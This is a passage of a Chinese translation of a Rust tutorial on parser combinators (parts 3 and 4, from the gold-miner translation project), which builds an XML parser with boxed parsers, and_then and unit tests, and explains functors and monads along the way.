返回的是什么吗？一个类型为 `Vec<A>` 的值，其中类型为 `A` 的值是由内部解析器返回的。对于 `any_char`，返回的是 `char` 类型。那么我们得到的不是一个字符串，而是一个类型为 `Vec<char>` 的值。这是 `map` 所处的位置：我们使用它把 `Vec<char>` 转换为 `String`，基于这样一个情况，你可以构建一个产生 `String` 的迭代器 `Iterator<Item = char>`，我们称之为 `vec_of_chars.into_iter().collect()`，多亏了类型推导的力量，我们才有了 `String`。\n\n在我们继续之前，我们先写一个快速的测试用例来确保它是正确的，因为如果我们需要这么多词来解释它，那么它可能不是我们作为程序员应该相信的东西。\n\n```\n#[test]\nfn quoted_string_parser() {\n    assert_eq!(\n        Ok((\"\", \"Hello Joe!\".to_string())),\n        quoted_string().parse(\"\\\"Hello Joe!\\\"\")\n    );\n}\n```\n\n现在，我发誓，真的是要解析这些属性了。\n\n### 最后，解析属性\n\n我们现在可以解析空格符、标识符，`=` 符号和带引号的字符串。最后，这就是解析属性所需的全部内容。\n\n首先，我们为属性对写解析器。我们将会把属性作为 `Vec<(String, String)>` 存储，你可能还记得这个类型，所以感觉可能需要一个针对 `(String, String)` 的解析器，将其提供给我们可靠的 `zero_or_more` 组合器。我们看看能否造一个。\n\n```\nfn attribute_pair<'a>() -> impl Parser<'a, (String, String)> {\n    pair(identifier, right(match_literal(\"=\"), quoted_string()))\n}\n```\n\n太轻松了，汗都没出一滴！总结一下：我们已经有一个便利的组合器用于解析元组的值，也就是 `pair`，我们可以将其作为 `identifier` 解析器，迭代出一个 `String`，以及一个带有 `=` 的 `right` 解析器，它的返回值我们不想保存，并且我们刚写出来的 `quoted_string` 解析器会返回给我们 `String` 类型的值。\n\n现在，我们结合一下 `zero_or_more`，去构建一个 vector —— 但不要忘了它们之间的空格符。\n\n```\nfn attributes<'a>() -> impl Parser<'a, Vec<(String, String)>> {\n    zero_or_more(right(space1(), attribute_pair()))\n}\n```\n\n以下情况会出现零次或者多次：一个或者多个空白符，其后是一个属性对。我们通过 `right` 丢弃空白符并保留属性对。\n\n我们测试一下它。\n\n```\n#[test]\nfn attribute_parser() {\n    assert_eq!(\n        Ok((\n            \"\",\n            vec![\n                (\"one\".to_string(), \"1\".to_string()),\n                (\"two\".to_string(), \"2\".to_string())\n            ]\n        )),\n        attributes().parse(\" one=\\\"1\\\" two=\\\"2\\\"\")\n    );\n}\n```\n\n测试是通过的！先别高兴太早！\n\n实际上，有些问题，在这个情况中，我的 rustc 编译器已经给出提示信息表示我的类型过于复杂，我需要增加可允许的类型范围才能让编译继续。鉴于我们在同一点上遇到了类似的错误，这是有利的，如果你是这种情况，你需要知道如何处理它。幸运的是，在这些情况下，rustc 通常会给出好的建议，所以当它告诉你在文件顶部添加 `#![type_length_limit = \"…some big number…\"]` 注解时，照做就行了。在实际情况中，就是添加 `#![type_length_limit = \"16777216\"]`，这将使我们更进一步深入到复杂类型的平流层。全速前进，我们就要上天了。\n\n### 现在离答案很近了\n\n在这一点上，这些东西看起来即将要组合到一起了，有些解脱了，因为我们的类型正快速接近于 NP 完全性理论。我们只需要处理两种元素标签：单个元素以及带有子元素的父元素，但我们非常有信心，一旦我们有了这些，解析子元素就只需要使用 `zero_or_more`，是吗？\n\n那么接下来我们先处理单元素的情况，把子元素的问题放一放。或者，更进一步，我们先基于这两种元素的共性写一个解析器：开头的 `<`，元素名称，然后是属性。让我们看看能否从几个组合器中获取到 `(String, Vec<(String, String)>)` 类型的结果。\n\n```\nfn element_start<'a>() -> impl Parser<'a, (String, Vec<(String, String)>)> {\n    right(match_literal(\"<\"), pair(identifier, attributes()))\n}\n```\n\n有了这些，我们就可以快速的写出代码，从而为单元素创建一个解析器。\n\n```\nfn single_element<'a>() -> impl Parser<'a, Element> {\n    map(\n        left(element_start(), match_literal(\"/>\")),\n        |(name, attributes)| Element {\n            name,\n            attributes,\n            children: vec![],\n        },\n    )\n}\n```\n\n万岁，感觉我们已经接近我们的目标了 —— 实际上我们正在构建一个 `Element`！\n\n让我们测试一下现代科技的奇迹。\n\n```\n#[test]\nfn single_element_parser() {\n    assert_eq!(\n        Ok((\n            \"\",\n            Element {\n                name: \"div\".to_string(),\n                attributes: vec![(\"class\".to_string(), \"float\".to_string())],\n                children: vec![]\n            }\n        )),\n        single_element().parse(\"<div class=\\\"float\\\"/>\")\n    );\n}\n```\n\n…… 我想我们已经逃离出平流层了。\n\n`single_element` 返回的类型是如此的复杂，以至于编译器不能顺利的完成编译，除非我们提前给出足够大内存空间的类型，甚至要求更大的类型。很明显，我们不能再忽略这个问题了，因为它是一个非常简单的解析器，却需要数分钟的编译时间 —— 这会导致最终的产品可能需要数小时来编译 —— 这似乎有些不合理。\n\n在继续之前，你最好将这两个函数和测试用例注释掉，便于我们进行修复……\n\n### 处理无限大的问题\n\n如果你曾经尝试过在 Rust 中编写递归类型的东西，那么你可能已经知道这个问题的解决方案。\n\n关于递归类型的一个简单例子就是单链表。原则上，你可以把它写成类似于这样的枚举形式：\n\n```\nenum List<A> {\n    Cons(A, List<A>),\n    Nil,\n}\n```\n\n很明显，rustc 编译器会对递归类型 `List<A>` 给出报错信息，提示它具有无限的大小，因为在每个 `List::<A>::Cons` 内部都可能有另一个 `List<A>`，这意味着 `List<A>` 可以一直直到无穷大。就 rustc 编译器而言，我们需要一个无限列表，并且要求它能**分配**一个无限列表。\n\n在许多语言中，对于类型系统来说，一个无限列表原则上不是问题，而且对 Rust 来说也不是什么问题。问题是，前面提到的，在 Rust 中，我们需要能够**分配**它，或者，更确切的说，我们需要能够在构造类型时先确定类型的**大小**，当类型是无限的时候，这意味着大小也必须是无限的。\n\n解决办法是采用间接的方法。我们不是将 `List::Cons` 改为 `A` 的一个元素和另一个 `A` 的**列表**，反而是使用一个 `A` 元素和一个指向 `A` 列表的**指针**。我们已知指针的大小，不管它指向什么，它都是相同的大小，所以我们的 `List::Cons` 现在是一个固定大小的并且可预测的，不管列表的大小如何。把一个已有的数据变成将数据存储于堆上，并且用指针指向该堆内存的方法，在 Rust 中，就是使用 `Box` 处理它。\n\n```\nenum List<A> {\n    Cons(A, Box<List<A>>),\n    Nil,\n}\n```\n\n`Box` 的另一个有趣特性是，其中的类型是可以抽象的。这意味着，我们可以让类型检查器处理一个非常简洁的 `Box<dyn Parser<'a, A>>`，而不是处理当前的非常复杂的解析器函数类型。\n\n听起来很不错。有什么缺陷吗？好吧，我们可能会因为使用指针的方式而损失一两次循环，也可能会让编译器失去一些优化解析器的机会。但是想起 Knuth 的关于过早优化的提醒：一切都会好起来的。损失这些循环是值得的。你在这里是学习关于解析器组合器，而不是学习手工编写专业的 [SIMD 解析器](https://github.com/lemire/simdjson)（尽管它们本身会令人兴奋）\n\n因此，抛开目前我们使用的简单函数，让我们继续基于**即将要完成**的解析器函数来实现 `Parser`。\n\n```\nstruct BoxedParser<'a, Output> {\n    parser: Box<dyn Parser<'a, Output> + 'a>,\n}\n\nimpl<'a, Output> BoxedParser<'a, Output> {\n    fn new<P>(parser: P) -> Self\n    where\n        P: Parser<'a, Output> + 'a,\n    {\n        BoxedParser {\n            parser: Box::new(parser),\n        }\n    }\n}\n\nimpl<'a, Output> Parser<'a, Output> for BoxedParser<'a, Output> {\n    fn parse(&self, input: &'a str) -> ParseResult<'a, Output> {\n        self.parser.parse(input)\n    }\n}\n```\n\n为了更好地实现，我们创建了一个新的类型 `BoxedParser` 用于保存 Box 相关的数据。我们利用其它的解析器（包括另一个 `BoxedParser`，虽然这没太大作用）来创建新的 `BoxedParser`，我们提供一个新的函数 `BoxedParser::new(parser)`，它只是将解析器放在新类型的 `Box` 中。最后，我们为它实现 `Parser`，这样，它就可以作为解析器交换着使用。\n\n这使我们具备将解析器放入一个 `Box` 中的能力，而 `BoxedParser` 将会以函数的角色为 `Parser` 执行一些逻辑。正如前面提到的，这意味着将 Box 包装的解析器移到堆中，并且必须删除指向该堆区域的指针，这可能会多花费**几纳秒**的时间，所以实际上我们可能想先不用 Box 包装**所有数据**。只是把一些更活跃的组合器数据通过 Box 包装就够了。\n\n- [通过 Rust 学习解析器组合器 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-1.md)\n- [通过 Rust 学习解析器组合器 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-2.md)\n- [通过 Rust 学习解析器组合器 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-3.md)\n- [通过 Rust 学习解析器组合器 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-4.md)\n\n## 许可证\n\n本作品版权归 Bodil Stokke 所有，在知识共享署名-非商业性-相同方式共享 4.0 协议之条款下提供授权许可。要查看此许可证，请访问 http://creativecommons.org/licenses/by-nc-sa/4.0/。\n\n## 脚注\n\n1: 他不是你真正的叔叔\n2: 请不要成为聚会上的那个人。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learning-parser-combinators-with-rust-4.md",
    "content": "> - 原文地址：[Learning Parser Combinators With Rust](https://bodil.lol/parser-combinators/)\n> - 原文作者：[Bodil](https://bodil.lol/)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-4.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-4.md)\n> - 译者：[40m41h42t](https://github.com/40m41h42t)\n> - 校对者：[Samuel Jie](https://github.com/suhanyujie)、[司徒公子](https://github.com/stuchilde)\n\n# 通过 Rust 学习解析器组合器 — 第四部分\n\n如果你没看过本系列的其他几篇文章，建议你按照顺序进行阅读：\n\n- [通过 Rust 学习解析器组合器 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-1.md)\n- [通过 Rust 学习解析器组合器 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-2.md)\n- [通过 Rust 学习解析器组合器 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-3.md)\n- [通过 Rust 学习解析器组合器 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-4.md)\n\n### 一个展现自己的机会\n\n但是，稍等一下，它给我们提供了一个修复另一件可能有点麻烦的问题的机会。\n\n还记得我们最后写的解析器吗？由于我们的组合器是独立的函数，当我们嵌套一些“组合器”时，我们的代码开始变得有些难以理解。回想一下我们的 `quoted_string` 解析器：\n\n```rust\nfn quoted_string<'a>() -> impl Parser<'a, String> {\n    map(\n        right(\n            match_literal(\"\\\"\"),\n            left(\n                zero_or_more(pred(any_char, |c| *c != '\"')),\n                match_literal(\"\\\"\"),\n            ),\n        ),\n        |chars| chars.into_iter().collect(),\n    )\n}\n```\n\n如果我们可以在解析器而不是独立函数上创建那些组合器方法，那么可读性会更好。假如我们将组合器声明为 `Parser` trait 方法会怎么样呢？\n\n问题在于，如果我们这样做，我们的返回值就会失去依赖 `impl Trait` 的能力，因为 trait 声明中不允许使用 `impl Trait`。\n\n但现在我们有了 `BoxedParser`。 我们不能声明一个返回 `impl Parser<'a, A>` 的 trait 方法，但我们肯定**可以**声明一个返回 `BoxedParser<'a, A>` 的方法。\n\n最好的情况是我们甚至可以使用默认实现声明这些方法，这样我们就不必为每个实现 `Parser` 的类型重新实现每个组合器。\n\n让我们用 `map` 函数来尝试，通过如下方式扩展我们的 `Parser` trait 解析器：\n\n```rust\ntrait Parser<'a, Output> {\n    fn parse(&self, input: &'a str) -> ParseResult<'a, Output>;\n\n    fn map<F, NewOutput>(self, map_fn: F) -> BoxedParser<'a, NewOutput>\n    where\n        Self: Sized + 'a,\n        Output: 'a,\n        NewOutput: 'a,\n        F: Fn(Output) -> NewOutput + 'a,\n    {\n        BoxedParser::new(map(self, map_fn))\n    }\n}\n```\n\n这里有很多 `'a`，但是它们都是必要的。幸运的是，我们仍然可以重新使用旧的组合函数 —— 并且，它有着额外的优势，我们不仅可以获得更好的语法来应用它们，还可以通过自动包装摆脱易引发争议的 `impl Trait` 方式。\n\n现在我们可以稍微改进一下 `quoted_string` 解析器：\n\n```rust\nfn quoted_string<'a>() -> impl Parser<'a, String> {\n    right(\n        match_literal(\"\\\"\"),\n        left(\n            zero_or_more(pred(any_char, |c| *c != '\"')),\n            match_literal(\"\\\"\"),\n        ),\n    )\n    .map(|chars| chars.into_iter().collect())\n}\n```\n\n乍一看，很明显 `.map()` 会被 `right()` 的结果调用 。\n\n我们也可以给 `pair`、`left` 和 `right` 做同样的处理，但是在有这三个的情况下，我认为当它们是函数时会有更好的可读性，因为它们反映了 `pair` 输出的结构类型。如果你不同意的话，完全可以将它们添加到 trait 中，就像我们使用 `map` 一样，并且非常欢迎你继续将其作为练习去尝试它。\n\n然而，还有一个等待处理的函数是 `pred`。 让我们为它的 `Parser` trait 添加一个定义：\n\n```rust\nfn pred<F>(self, pred_fn: F) -> BoxedParser<'a, Output>\nwhere\n    Self: Sized + 'a,\n    Output: 'a,\n    F: Fn(&Output) -> bool + 'a,\n{\n    BoxedParser::new(pred(self, pred_fn))\n}\n```\n\n让我们用 `pred` 调用重写 `quoted_string` 中的那一行，如下所示：\n\n```rust\nzero_or_more(any_char.pred(|c| *c != '\"')),\n```\n\n这样阅读起来更好一些，并且我认为应该保留 `zero_or_more` —— 它读起来像是“零或更多的 `any_char` 并且应用了下面的判断”，对我来说这听起来是正确的。如果你愿意全力以赴的话，你也可以继续将 `zero_or_more` 和 `one_or_more` 移动到 trait 中。\n\n除了重写 `quoted_string` 之外，还要修复 `single_element` 中的 `map`：\n\n```rust\nfn single_element<'a>() -> impl Parser<'a, Element> {\n    left(element_start(), match_literal(\"/>\")).map(|(name, attributes)| Element {\n        name,\n        attributes,\n        children: vec![],\n    })\n}\n```\n\n让我们尝试取消注释 `element_start` 并用之前注释过的测试代码测试一下，看看结果是否变得更好。让我们恢复游戏中的代码并尝试运行测试……\n\n……嗯，是的，编译时间现在恢复正常了。你甚至可以移除文件顶部设置的类型大小，你完全不需要它了。\n\n我们只是装箱了两个 `map` 和一个 `pred` —— **并且**我们得到了更好的语规则！\n\n### 有子元素的情况\n\n现在让我们为父元素的开始标签编写解析器。它除了以 `>` 而不是 `/>` 结尾之外，其他几乎与 `single_element` 相同。它后面跟着零个或多个子项以及结束标签。首先我们需要解析实际的开始标签，让我们完成它。\n\n```rust\nfn open_element<'a>() -> impl Parser<'a, Element> {\n    left(element_start(), match_literal(\">\")).map(|(name, attributes)| Element {\n        name,\n        attributes,\n        children: vec![],\n    })\n}\n```\n\n现在，我们如何得到那些子元素？它们不是单个元素就是父元素本身，它们中也可能有零个或多个子元素，而我们拥有可靠的 `zero_or_more` 组合器，那我们该怎样输入呢？我们还有一个东西尚未处理，那就是多选解析器：**既**可以解析单个元素**又**可以解析父元素。\n\n为了达到目的，我们需要组合器按顺序尝试两个解析器：如果第一个解析器成功，任务就完成了，并返回它的结果。如果它失败了，我们会用**相同的输入**尝试第二个解析器，而不是返回错误。如果成功，那很好，如果没有，我们就会返回错误，因为这意味着我们的解析器都失败了，这是一个彻底的失败。\n\n```rust\nfn either<'a, P1, P2, A>(parser1: P1, parser2: P2) -> impl Parser<'a, A>\nwhere\n    P1: Parser<'a, A>,\n    P2: Parser<'a, A>,\n{\n    move |input| match parser1.parse(input) {\n        ok @ Ok(_) => ok,\n        Err(_) => parser2.parse(input),\n    }\n}\n```\n\n这允许我们声明一个解析器 `element`，它匹配单个元素或父元素（现在，我们仅使用 `open_element` 来代表它，一旦我们有 `element` 我们就会处理子元素）。\n\n```rust\nfn element<'a>() -> impl Parser<'a, Element> {\n    either(single_element(), open_element())\n}\n```\n\n现在让我们为结束标签添加一个解析器。它有个有趣的属性，必须以开始标签匹配，这意味着解析器必须知道开始标签的名称是什么。但这就是函数参数的用途，是吧？\n\n```rust\nfn close_element<'a>(expected_name: String) -> impl Parser<'a, String> {\n    right(match_literal(\"</\"), left(identifier, match_literal(\">\")))\n        .pred(move |name| name == &expected_name)\n}\n```\n\n那个 `pred` 组合器证明非常有用，不是吗？\n\n现在，让我们把它放在一起，用于实现完整的父元素解析器，子元素解析器和所有其他的解析器：\n\n```rust\nfn parent_element<'a>() -> impl Parser<'a, Element> {\n    pair(\n        open_element(),\n        left(zero_or_more(element()), close_element(…oops)),\n    )\n}\n```\n\n哎呀，我们现在该如何将该参数传递给 `close_element` 呢？我想这是我们要实现的最后一个组合器。\n\n我们现在离完成非常接近了。一旦我们解决了最后一个让 `parent_element` 工作的问题，我们可以用实现的新的 `parent_element` 替换 `element` 解析器中的 `open_element` 占位符，就这样，我们实现了一个完全可用的 XML 解析器。\n\n还记得我说我们之后会回到 `and_then` 吗？就是现在回到了 `and_then`。实际上，我们需要的组合器是 `and_then`：我们需要一些带有解析器的东西，和一个获取解析器结果并返回**新**解析器的函数，之后我们将运行它。它有点像 `pair`，但它只是在元组中收集两个结果，我们通过函数将它们串联起来。这也是 `and_then` 与 `Result` 和 `Option` 一起使用的方法，但它更容易理解，因为 `Result` 和 `Option` 不是真的**做**任何事情，它们只是持有一些数据的东西（或不是，视情况而定）。\n\n所以让我们尝试编写一个它的实现。\n\n```rust\nfn and_then<'a, P, F, A, B, NextP>(parser: P, f: F) -> impl Parser<'a, B>\nwhere\n    P: Parser<'a, A>,\n    NextP: Parser<'a, B>,\n    F: Fn(A) -> NextP,\n{\n    move |input| match parser.parse(input) {\n        Ok((next_input, result)) => f(result).parse(next_input),\n        Err(err) => Err(err),\n    }\n}\n```\n\n查看类型会有很多类型变量，但我们知道输入解析器 `P` 的结果类型为 `A`。然而我们的函数 `F`，其中的 `map` 有一个从 `A` 到 `B` 的函数，此两者之间关键的区别是 `and_then` 会从 `A` 获取一个函数到**一个新的解析器** `NextP`，其结果类型为 `B`。最终的结果类型是`B`，因此我们可以假设从 `NextP` 输出的任何东西都是最终的结果。\n\n代码有点复杂：我们从运行输入解析器开始，如果失败，它就会失败并且代表我们已经完成了。但如果成功，我们先在结果上调用函数 `f`（类型为`A `），`f(result)` 的返回是一个新的解析器，并带有一个类型为 `B` 的结果。我们在下一位输入上运行**这个**解析器，并直接返回结果。如果失败，那就失败了，如果成功，我们就会得到类型为 `B` 的值。\n\n再一次：我们首先运行 `P` 类型的解析器，如果成功，我们以解析器 `P` 的结果作为参数调用函数 `f` 来得到我们的下一个类型为 `NextP` 的解析器，接着我们继续运行，并得到最后的结果。\n\n让我们直接将它添加到 `Parser` trait中，因为这个像 `map` 一样，以这种方式肯定会更容易阅读。\n\n```rust\nfn and_then<F, NextParser, NewOutput>(self, f: F) -> BoxedParser<'a, NewOutput>\nwhere\n    Self: Sized + 'a,\n    Output: 'a,\n    NewOutput: 'a,\n    NextParser: Parser<'a, NewOutput> + 'a,\n    F: Fn(Output) -> NextParser + 'a,\n{\n    BoxedParser::new(and_then(self, f))\n}\n```\n\n好的，现在这么做都有什么好处？\n\n首先，我们**几乎**可以使用它来实现 `pair`：\n\n```rust\nfn pair<'a, P1, P2, R1, R2>(parser1: P1, parser2: P2) -> impl Parser<'a, (R1, R2)>\nwhere\n    P1: Parser<'a, R1> + 'a,\n    P2: Parser<'a, R2> + 'a,\n    R1: 'a + Clone,\n    R2: 'a,\n{\n    parser1.and_then(move |result1| parser2.map(move |result2| (result1.clone(), result2)))\n}\n```\n\n它看起来非常简洁，但是有一个问题：`parser2.map()` 使用 `parser2` 来创建封装好的解析器，包装函数是 `Fn`，而不是 `FnOnce`，因此它不允许使用 `parser2` 解析器，我们只能参考它。换句话说，这是 Rust 的问题。在更高级别的语言中，这些事情不是问题，它们可能会用更优雅的方式定义 `pair`。\n\n但是，即使在 Rust 中我们也可以使用该函数来延迟生成 `close_element` 解析器的正确版本，或者换句话说，我们可以通过传递参数获取解析器。\n\n回顾我们之前失败的尝试：\n\n```rust\nfn parent_element<'a>() -> impl Parser<'a, Element> {\n    pair(\n        open_element(),\n        left(zero_or_more(element()), close_element(…oops)),\n    )\n}\n```\n\n使用 `and_then`，我们现在可以通过使用这个函数构造正确版本的 `close_element` 来实现这一点。\n\n```rust\nfn parent_element<'a>() -> impl Parser<'a, Element> {\n    open_element().and_then(|el| {\n        left(zero_or_more(element()), close_element(el.name.clone())).map(move |children| {\n            let mut el = el.clone();\n            el.children = children;\n            el\n        })\n    })\n}\n```\n\n它现在看起来有点复杂，因为 `and_then` 必须继续通过 `open_element()` 调用，我们会在那里找到跳转到 `close_element` 的名字。这意味着 `open_element` 之后的其它解析器都必须在 `and_then` 闭包内构造。此外，由于闭包现在是 `open_element` 的 `Element` 结果的唯一接收者，我们返回的解析器也必须向前传递该信息。\n\n我们在生成的解析器上 `map` 的内部闭包能从外部闭包中引用 `Element`(`el`)。由于我们在 `Fn` 中只能引用它一次，因此我们必须 `clone()` 它。我们取内部解析器的结果（子元素的 `Vec<Element>` ）并将它添加到我们克隆的 `Element` 中，并将其作为最终结果返回。\n\n我们现在需要做的就是回到 `element` 解析器并确保将 `open_element` 改为 `parent_element`，这样它会解析整个元素结构而不仅仅是它的开头，我相信我们已经完成解析器组合器了！\n\n### 你会问那个 M 开头的单词我是否应该完成吗？\n\n还记得我们谈到过如何将 `map` 模式称为 Haskell 星球上的“函子（functor）”吗？\n\n`and_then` 模式是另一个你会在 Rust 中时常看到的东西，它通常与 `map` 出现在相同的位置。它在 `迭代器（Iterator）`上被称为 [`flat_map`](https://doc.rust-lang.org/std/iter/trait.Iterator.html#method.flat_map)，但它与 Rest 的模式相同。\n\n这个奇特的单词是“单子（monad）”。如果你有一个 `Thing<A>`，并且你有一个 `and_then` 函数可以将一个函数从 `A` 传递给 `Thing<B>`，那么相反，现在你有了一个新的 ` Thing<B>` ，这就是一个 monad。\n\n就像当你有 `Option<A>` 的时候，函数可能会被立即调用，我们已经知道它是 `Some(A)` 还是 `None`，所以如果是 `Some(A)` 我们直接应用函数，并输出 `Some(B)`。\n\n它也可能被称为延迟调用。 例如，如果你有一个仍然等待解决的 `Future<A>`，它不会通过 `and_then` 立即调用函数创建一个 `Future<B>`，而是创建一个新的`Future<B>`，既包含 `Future<A>` 又包含函数，然后等待 `Future<A>` 完成。 当它发生的时候，它会调用带有 `Future<A>` 结果的函数，而鲍勃是你的叔叔 <sup><a href=\"#note1\">[1]</a></sup>，你会得到 `Future<B>`。 换句话说，在 `Future` 的情况下，你可以将传递给 `and_then` 的函数视为**回调函数**，因为它在完成时会被原始的未来的结果调用。它也比这更有意思，因为它返回了一个**新的** `Future`，它可能已经或可能没有被解析，所以它是一种**连接**未来状态的方法。\n\n然而，与函子一样，Rust 的类型系统目前还不能表达 monad，所以我们只需记住这种模式被叫做 monad，而且相当令人失望的是，与在互联网上所描述的相反，它与 burrito 没什么关系。让我们继续前进。\n\n### 空格，最终版\n\n最后一件事了。\n\n我们现在应该有了一个能够解析一些 XML 的解析器，但它不太支持空格。标签之间应该允许任意数量的空格，这样我们就可以自由地在我们的标签之间插入换行符（原则上，在标识符和文字之间应该允许空格，比如 `<div />`，但让我们跳过它）。\n\n此时我们应该能够毫不费力地组装一个快速组合器。\n\n```rust\nfn whitespace_wrap<'a, P, A>(parser: P) -> impl Parser<'a, A>\nwhere\n    P: Parser<'a, A>,\n{\n    right(space0(), left(parser, space0()))\n}\n```\n\n如果我们将 `element` 包装在其中，它将忽略 `element` 周围的所有前导和尾随的空格，这意味着我们可以自由地使用我们希望的任意数量的换行符和缩进。\n\n```rust\nfn element<'a>() -> impl Parser<'a, Element> {\n    whitespace_wrap(either(single_element(), parent_element()))\n}\n```\n\n### 我们终于完成了！\n\n我想我们做到了！让我们写一个集成测试来庆祝一下。\n\n```rust\n#[test]\nfn xml_parser() {\n    let doc = r#\"\n        <top label=\"Top\">\n            <semi-bottom label=\"Bottom\"/>\n            <middle>\n                <bottom label=\"Another bottom\"/>\n            </middle>\n        </top>\"#;\n    let parsed_doc = Element {\n        name: \"top\".to_string(),\n        attributes: vec![(\"label\".to_string(), \"Top\".to_string())],\n        children: vec![\n            Element {\n                name: \"semi-bottom\".to_string(),\n                attributes: vec![(\"label\".to_string(), \"Bottom\".to_string())],\n                children: vec![],\n            },\n            Element {\n                name: \"middle\".to_string(),\n                attributes: vec![],\n                children: vec![Element {\n                    name: \"bottom\".to_string(),\n                    attributes: vec![(\"label\".to_string(), \"Another bottom\".to_string())],\n                    children: vec![],\n                }],\n            },\n        ],\n    };\n    assert_eq!(Ok((\"\", parsed_doc)), element().parse(doc));\n}\n```\n\n它会由于缺少闭合标签而导致失败，只是为了确保我们能够做到这一点：\n\n```rust\n#[test]\nfn mismatched_closing_tag() {\n    let doc = r#\"\n        <top>\n            <bottom/>\n        </middle>\"#;\n    assert_eq!(Err(\"</middle>\"), element().parse(doc));\n}\n```\n\n好消息是当返回值缺少闭合标签时会抛出错误。坏消息是它实际上并没有**指明**问题是由于缺少闭合标签导致的，只是标记了错误在**哪里**。不过它总比没有好，但老实说，随着错误信息的发生，它看起来会非常糟糕。 但是实际上让它产生正确的错误信息是另一个主题，也许至少是一篇一样长的文章。\n\n让我们专注于好消息上吧：我们从头开始用解析器组合器来编写一个编译器！我们知道解析器形成了一个函子（functor）和一个单子（monad），所以你现在可以在派对中用你知道的令人生畏的范畴理论知识给人们留下深刻的印象 <sup><a href=\"#note2\">[2]</a></sup>。\n\n最重要的是，我们现在知道解析器组合器是如何从头开始工作的了。已经没人能阻止我们了！\n\n### 胜利小狗\n\n![](https://bodil.lol/parser-combinators/many-puppies.gif)\n\n### 更多资源\n\n首先，我很严谨地用严格的 Rusty 术语向你解释 monad，我知道如果我没有把你指向[他的开创性论文](https://homepages.inf.ed.ac.uk/wadler/papers/marktoberdorf/baastad.pdf)，那么 Phil Wadler 会对我非常不满，因为这篇论文更加令人兴奋 —— 它包含了他们是如何关联解析器组合器的。\n\n本文的想法与 [`pom`](https://crates.io/crates/pom) 解析器组合器背后的想法极为相似，如果你希望用相同的风格使用解析器组合器的话，我极力推荐它。\n\nRust 解析器组合器中的最先进的依然是 [`nom`](https://crates.io/crates/nom)，在某种程度上之前提到的 `pom` 明显是它衍生的命名（没有比它更高的赞美了）。但它采取的方法与我们今天在这里的设计截然不同。\n\nRust 的另一个流行的解析器组合器库是 [`combine`](https://crates.io/crates/combine)，它也值得一看。\n\nHaskell 的开创性解析器组合器库是 [Parsec](http://hackage.haskell.org/package/parsec)。\n\n最后，我在 Graham Hutton 的书 [**Haskell 编程**](http://www.cs.nott.ac.uk/%7Epszgmh/pih.html)中第一次认识到解析器组合器，这本书非常值得一读，并且可以教你有关 Haskell 的知识。\n\n- [通过 Rust 学习解析器组合器 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-1.md)\n- [通过 Rust 学习解析器组合器 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-2.md)\n- [通过 Rust 学习解析器组合器 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-3.md)\n- [通过 Rust 学习解析器组合器 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-4.md)\n\n## 协议\n\n本文版权归 Bodil Stokke 所有，并受知识共享署名 - 非商业性使用 - 相同方式共享 4.0 国际许可。要查看此许可证的副本，请访问 http://creativecommons.org/licenses/by-nc-sa/4.0/ 。\n\n## 脚注\n\n1. <a name=\"note1\"></a> 他并不真是你的叔叔。\n2. <a name=\"note2\"></a> 请不要在派对上做那样的人。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/lenses-composable-getters-and-setterssfor-functional-programming.md",
